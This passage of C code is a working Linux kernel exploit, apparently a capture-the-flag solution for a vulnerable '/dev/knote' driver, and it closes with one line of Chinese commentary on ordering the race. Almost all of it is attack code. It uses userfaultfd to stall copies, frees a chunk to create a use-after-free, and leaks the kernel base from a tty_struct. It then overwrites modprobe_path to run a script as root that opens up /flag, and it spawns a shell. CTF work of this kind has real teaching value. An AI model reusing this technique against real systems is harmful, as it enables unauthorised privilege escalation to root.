int nready = poll(&pollfd, 1, -1);
if (nready == -1) {
puts("[-] Error at: poll");
exit(-1);
}
static struct uffd_msg msg;
ssize_t nread = read((int) uffd, &msg, sizeof(msg));
sleep(4);
if (nread == 0) {
puts("[-] Error at: EOF on userfaultfd!");
exit(EXIT_FAILURE);
}
if (nread == -1) {
puts("[-] Error at: read");
exit(-1);
}
if (msg.event != UFFD_EVENT_PAGEFAULT) {
puts("[-] Unexpected event on userfaultfd");
exit(EXIT_FAILURE);
}
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
printf("[*] uffdio_copy.dst: %p\n", uffdio_copy.dst);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl((int) uffd, UFFDIO_COPY, &uffdio_copy) == -1) {
puts("[-] Error at: ioctl-UFFDIO_COPY");
exit(-1);
}
}
}
void register_userfaultfd(void *addr, size_t len, void *(*handler)(void *)) {
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1) {
puts("[-] Error at: userfaultfd");
exit(-1);
}
struct uffdio_api uffdio_api = {.api=UFFD_API, .features=0};
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) {
puts("[-] Error at: ioctl-UFFDIO_API");
exit(-1);
}
struct uffdio_register uffdio_register;
uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) {
puts("[-] Error at: ioctl-UFFDIO_REGISTER");
exit(-1);
}
static pthread_t monitor_thread;
if (pthread_create(&monitor_thread, NULL, handler, (void *) uffd) != 0) {
puts("[-] Error at: pthread_create");
exit(-1);
}
}
typedef struct {
union {
size_t size;
size_t index;
};
char *buf;
} Chunk;
long knote_fd;
void chunk_add(size_t size) {
Chunk chunk = {.size=size};
ioctl((int) knote_fd, 0x1337, &chunk);
}
void chunk_edit(size_t index, char *buf) {
Chunk chunk = {.index=index, .buf=buf};
ioctl((int) knote_fd, 0x8888, &chunk);
}
void chunk_get(size_t index, char *buf) {
Chunk chunk = {.index=index, .buf=buf};
ioctl((int) knote_fd, 0x2333, &chunk);
}
void chunk_del(size_t index) {
Chunk chunk = {.index=index};
ioctl((int) knote_fd, 0x6666, &chunk);
}
int main() {
page_size = getpagesize();
char *buf1 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
char *buf2 = (char *) mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfaultfd(buf1, 0x1000, (void *) fault_handler_thread);
register_userfaultfd(buf2, 0x1000, (void *) fault_handler_thread);
page = malloc(0x1000);
void *kernel_base = (void *) 0xffffffff81000000;
size_t kernel_offset = 0;
FILE *addr_fp = fopen("/addr.txt", "r");
knote_fd = open("/dev/knote", O_RDWR);
if (addr_fp != NULL) {
fscanf(addr_fp, "%llx %llx", &kernel_base, &kernel_offset);
fclose(addr_fp);
} else {
chunk_add(TTY_STRUCT_SIZE);
pid_t pid = fork();
if (pid < 0) {
puts("[-] FAILED to fork the child");
exit(-1);
} else if (pid == 0) {
puts("[*] Child process sleeping now...");
sleep(1);
puts("[*] Child process started.");
chunk_del(0);
sleep(1);
open("/dev/ptmx", O_RDWR);
puts("[*] Object free and tty got open. Backing parent thread...");
exit(0);
} else {
puts("[*] Parent process trapped in userfaultfd...");
chunk_get(0, buf1);
puts("[*] tty struct data obtained");
}
for (int i = 0; i < 0x58; i++) {
printf("[----data-dump----] %d: %p\n", i, ((size_t *) buf1)[i]);
}
if (((size_t *) buf1)[86]) {
puts("[+] Successfully hit the tty_struct.");
kernel_offset = ((size_t *) buf1)[86] - DO_SAK_WORK;
kernel_base = (void *) ((size_t) kernel_base + kernel_offset);
} else {
puts("[-] Failed to hit the tty struct.");
exit(-1);
}
addr_fp = fopen("/addr.txt", "w");
fprintf(addr_fp, "%llx %llx", kernel_base, kernel_offset);
fclose(addr_fp);
}
size_t modprobe_path = MODPROBE_PATH + kernel_offset;
printf("[*] Kernel offset: %p\n", kernel_offset);
printf("[*] Kernel base: %p\n", kernel_base);
printf("[*] modprobe_path: %p\n", modprobe_path);
if (open("/shell.sh", O_RDWR) < 0) {
system("echo '#!/bin/sh' >> /shell.sh");
system("echo 'chmod 777 /flag' >> /shell.sh");
system("chmod +x /shell.sh");
}
chunk_add(0x100);
memcpy(page, &modprobe_path, 8);
pid_t pid = fork();
if (pid < 0) {
puts("[-] FAILED to fork the child");
exit(-1);
} else if (pid == 0) {
puts("[*] Child process sleeping now...");
sleep(1);
puts("[*] Child process started.");
chunk_del(0);
puts("[*] UAF constructed");
exit(0);
} else {
puts("[*] Parent process trapped in userfaultfd...");
chunk_edit(0, buf2);
puts("[*] Hijack finished");
}
chunk_add(0x100);
chunk_add(0x100);
chunk_edit(1, "/shell.sh");
system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
system("chmod +x /fake");
system("/fake");
if (open("/flag", O_RDWR) < 0) {
puts("FAILED to hijack!");
exit(-1);
}
puts("[+] hijack success");
system("/bin/sh");
return 0;
}
不难想到,可以将子线程的逻辑写到 userfaule_fd 的处理函数中,因为页错误发生和处理页错误的顺序是确定的,因此保证了 Race condition 的顺序。